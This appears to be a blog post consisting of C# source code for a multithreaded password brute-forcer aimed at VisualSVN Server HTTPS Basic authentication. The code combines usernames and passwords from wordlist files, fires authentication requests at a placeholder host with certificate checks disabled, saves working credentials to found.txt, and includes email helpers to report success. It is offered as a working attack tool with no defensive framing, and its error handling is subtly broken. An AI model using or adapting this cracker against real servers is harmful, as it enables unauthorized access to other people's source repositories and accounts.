using System;
using System.Collections.Generic;
using System.Text;

namespace svn.brute
{
    public class AuthEventArgs : EventArgs
    {
        public readonly Int64 indexer;
        public readonly string target;
        public readonly Int64 count;
        public readonly string threadName;
        public AuthEventArgs(Int64 indexer, string target, Int64 count, string threadName)
        {
            this.indexer = indexer;
            this.target = target;
            this.count = count;
            this.threadName = threadName;
        }
    }
}
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.IO;

namespace svn.brute
{
    public class Bootstrap
    {
        static void Main()
        {            
            SVNBruter svnBruter = new SVNBruter();
            Logger logger = new Logger();           
            svnBruter.prebuildDict();
            int count = svnBruter.authTable.Count;
            Console.WriteLine(count);
            int step= (int)Math.Ceiling((double)((double)count / (double)10));
            for (int i = 0; i < count; i=i+step) 
            {
                String[] temp = new String[step];

                SVNBruter svnBruter2 = new SVNBruter();


                svnBruter2.authSuccess += logger.success;


                svnBruter2.authFailed += logger.failed;


                svnBruter2.authTimeOut += logger.timeout;


                svnBruter2.authReachedEnd += logger.reachedEnd;

                svnBruter2.authBruteForcing += logger.console;

                svnBruter.authTable.CopyTo(i, temp,0, step);
                Thread thread = new Thread(delegate() { svnBruter2.fire(temp, "bruteThread-" + ((i / step))); });
                thread.Start();
               
            }
            Console.Read();
        }
    }
}
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Net.Mail;
namespace svn.brute
{
    public class Logger
    {
        public void failed(Object sender, AuthEventArgs e)
        {
            if(LogLevel.ENABLE)
            {
                SVNBruter bruter = (SVNBruter) sender;
                Console.WriteLine("console: {0} 破解失败: {1}", e.threadName, e.target);
            }
        }
        public void success(Object sender, AuthEventArgs e)
        {
            SVNBruter bruter = (SVNBruter) sender;
            Console.WriteLine("console: {0} 破解成功 :{1} ", e.threadName, e.target);
            string bootPath = System.Environment.CurrentDirectory;
            using(StreamWriter swWriter = new StreamWriter(bootPath + @"/found.txt", true))
            {
                swWriter.WriteLine(e.target);
                swWriter.Close();
            }
            Console.WriteLine("{0} 破解成功! {1}", e.threadName, bootPath + @"/found.txt");
            Console.Read();
        }
        public void timeout(Object sender, AuthEventArgs e)
        {
            SVNBruter bruter = (SVNBruter) sender;
            Console.WriteLine("console: {0} 超时 :{1},索引{2} ", e.threadName, e.target, e.indexer);
        }
        public void reachedEnd(Object sender, AuthEventArgs e)
        {
            SVNBruter bruter = (SVNBruter) sender;
            Console.WriteLine("console: ======================{0} 破解任务已经结束======================", e.threadName);
        }
        public void console(Object sender, AuthEventArgs e)
        {
            SVNBruter bruter = (SVNBruter) sender;
            Console.WriteLine("task:{0}{1} ", bruter.mod, bruter.server);
            Console.WriteLine("process:{0} 已尝试{1}个密码组合,当前线程破解进度{2}%。", e.threadName, e.indexer + 1, String.Format("{0:F}", 100 * (double)(e.indexer + 1) / (double) e.count));
        }
        public static void error(string msg)
        {
            string bootPath = System.Environment.CurrentDirectory;
            FileStream stream = new FileStream(bootPath + @"/log.txt", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite);
            StreamWriter swWriter = new StreamWriter(stream, Encoding.UTF8);
            swWriter.WriteLine("{0} {1}", DateTime.Now, msg);
            swWriter.Close();
            stream.Close();
        }
        public void SendMailUseZj()
        {
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
            msg.To.Add("收件人Email地址");
            msg.From = new MailAddress("发件人Email地址", "", System.Text.Encoding.UTF8);
            /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/
            msg.Subject = "成功了,抓紧回家"; //邮件标题 
            msg.SubjectEncoding = System.Text.Encoding.UTF8; //邮件标题编码 
            msg.Body = "邮件内容"; //邮件内容 
            msg.BodyEncoding = System.Text.Encoding.UTF8; //邮件内容编码 
            msg.IsBodyHtml = false; //是否是HTML邮件 
            msg.Priority = MailPriority.High; //邮件优先级 
            SmtpClient client = new SmtpClient();
            client.Credentials = new System.Net.NetworkCredential("发件人Email地址", "邮箱密码");
            //在zj.com注册的邮箱和密码 
            client.Host = "smtp.qq.com";
            object userState = msg;
            try
            {
                client.SendAsync(msg, userState);
                //简单一点儿可以client.Send(msg); 
                System.Environment.Exit(-1);
            }
            catch(System.Net.Mail.SmtpException ex)
            {
                Console.WriteLine(ex.Message);
                Console.Read();
            }
        }
        public void SendMailUseGmail()
        {
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
            msg.To.Add("收件人Email地址");
            msg.From = new MailAddress("xxx@gmail.com", "aaa", System.Text.Encoding.UTF8);
            /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/
            msg.Subject = "查收邮件哦"; //邮件标题 
            msg.SubjectEncoding = System.Text.Encoding.UTF8; //邮件标题编码 
            msg.Body = "成功了"; //邮件内容 
            msg.BodyEncoding = System.Text.Encoding.UTF8; //邮件内容编码 
            msg.IsBodyHtml = false; //是否是HTML邮件 
            msg.Priority = MailPriority.High; //邮件优先级 
            SmtpClient client = new SmtpClient();
            client.Credentials = new System.Net.NetworkCredential("xxx@gmail.com", "xxxx");
            //上述写你的GMail邮箱和密码 
            client.Port = 587; //Gmail使用的端口 
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true; //经过ssl加密 
            object userState = msg;
            try
            {
                client.SendAsync(msg, userState);
                //简单一点儿可以client.Send(msg);
                Console.WriteLine("成功");
            }
            catch(System.Net.Mail.SmtpException ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}
using System;
using System.Collections.Generic;
using System.Text;

namespace svn.brute
{
    internal sealed class LogLevel
    {
        public static readonly bool ENABLE = true;
    }
}
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.IO;
namespace svn.brute
{
    class SingleThread
    {
        public static void Main()
        {
            SVNBruter svnBruter = new SVNBruter();
            Logger logger = new Logger();
            svnBruter.prebuildDict();
            int count = svnBruter.authTable.Count;
            Console.WriteLine(count);
            svnBruter.authSuccess += logger.success;
            svnBruter.authFailed += logger.failed;
            svnBruter.authTimeOut += logger.timeout;
            svnBruter.authReachedEnd += logger.reachedEnd;
            svnBruter.authBruteForcing += logger.console;
            Thread thread = new Thread(delegate()
            {
                svnBruter.fire(svnBruter.authTable.ToArray(), "bruteThread-1");
            });
            thread.Start();
        }
    }
}
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Net;
namespace svn.brute
{
    public class SVNBruter
    {
        private int indexer;
        private string target;
        public string server = "(VisualSVN Server)";
        public string mod = "Subversion http(s)认证登录破解";
        public List < string > authTable = new List < string > ();
        public List < string > users = new List < string > ();
        public delegate void AuthEventHandler(Object sender, AuthEventArgs e);
        public event AuthEventHandler authSuccess; //破解成功事件
        public event AuthEventHandler authFailed; //破解失败事件
        public event AuthEventHandler authTimeOut; //超时
        public event AuthEventHandler authReachedEnd; //破解结束
        public event AuthEventHandler authBruteForcing;
        protected virtual void OnAuthFailed(AuthEventArgs e)
        {
            if(authFailed != null)
            {
                authFailed(this, e);
            }
        }
        protected virtual void OnAuthSuccess(AuthEventArgs e)
        {
            if(authSuccess != null)
            {
                authSuccess(this, e);
            }
        }
        protected virtual void OnAuthTimeOut(AuthEventArgs e)
        {
            if(authTimeOut != null)
            {
                authTimeOut(this, e);
            }
        }
        protected virtual void OnAuthReachedEnd(AuthEventArgs e)
        {
            if(authReachedEnd != null)
            {
                authReachedEnd(this, e);
            }
        }
        protected virtual void OnAuthBruteForcing(AuthEventArgs e)
        {
            if(authBruteForcing != null)
            {
                authBruteForcing(this, e);
            }
        }
        public void prebuildDict()
        {
            string bootPath = System.Environment.CurrentDirectory;
            using(FileStream filest = new FileStream(bootPath + @"/user_admin.txt", FileMode.Open, FileAccess.ReadWrite))
            {
                StreamReader sr = new StreamReader(filest);
                string strLine = null;
                while((strLine = sr.ReadLine()) != null)
                {
                    string user = strLine.TrimEnd();
                    if(LogLevel.ENABLE)
                    {
                        Console.WriteLine("正在拼装字典:" + user + ":" + user);
                        Console.WriteLine("正在拼装字典:" + user + ":");
                    }
                    users.Add(user);
                    authTable.Add(user + ":" + user);
                    authTable.Add(user + ":");
                }
            }
            using(FileStream filest = new FileStream(bootPath + @"/wordlist.txt", FileMode.Open, FileAccess.ReadWrite))
            {
                StreamReader sr = new StreamReader(filest);
                string strLine = null;
                while((strLine = sr.ReadLine()) != null)
                {
                    string pwd = strLine.TrimEnd();
                    foreach(string i in users)
                    {
                        authTable.Add(i + ":" + pwd);
                        if(LogLevel.ENABLE)
                        {
                            Console.WriteLine("正在拼装字典:" + i + ":" + pwd);
                        }
                    }
                }
            }
        }
        public void fire(string[] dict, string threadName)
        {
            for(int i = 0; i < dict.Length; i++)
            {
                indexer = i;
                target = dict[i];
                AuthEventArgs e = new AuthEventArgs(indexer, target, dict.Length, threadName);
                if(indexer == dict.Length - 1) OnAuthReachedEnd(e);
                OnAuthBruteForcing(e);
                ServicePointManager.ServerCertificateValidationCallback = delegate
                {
                    return true;
                };
                if(LogLevel.ENABLE) Console.WriteLine("{0}正在破解密码组合:{1}", threadName, target);
                HttpWebRequest request = (HttpWebRequest) WebRequest.Create("https://aaa.bbb.ccc:8443/svn/");
                request.Timeout = 10 * 1000;
                request.PreAuthenticate = true;
                byte[] b = System.Text.Encoding.Default.GetBytes(target);
                string a = Convert.ToBase64String(b);
                request.Headers.Add("Authorization", "Basic " + a);
                request.Headers.Add("Accept-Encoding", "gzip,deflate,sdch");
                request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8");
                request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
                request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36";
                request.Headers.Add("Cache-Control", "max-age=0");
                HttpWebResponse response = null;
                HttpStatusCode statusCode;
                try
                {
                    using(response = (HttpWebResponse) request.GetResponse())
                    {
                        Stream receiveStream = response.GetResponseStream();
                        statusCode = response.StatusCode;
                        StreamReader reader = new StreamReader(receiveStream, Encoding.UTF8);
                        string content = reader.ReadToEnd();
                        if(statusCode == HttpStatusCode.OK)
                        {
                            OnAuthSuccess(e);
                        }
                    }
                }
                catch(WebException ex)
                {
                    if(e is WebException)
                    {
                        statusCode = ((HttpWebResponse) ex.Response).StatusCode;
                        if(statusCode == HttpStatusCode.Unauthorized)
                        {
                            OnAuthFailed(e);
                        }
                    }
                    if(e is InvalidOperationException)
                    {
                        OnAuthTimeOut(e);
                    }
                    if(LogLevel.ENABLE) Console.WriteLine("{0},{1},{2}", threadName, target, ex.Message);
                    Logger.error(string.Format("{0},{1},{2}", threadName, target, ex.Message));
                }
            }
        }
    }
}

 

posted on 2023-03-29 20:35  你不知道的浪漫  阅读(622)  评论(0编辑  收藏  举报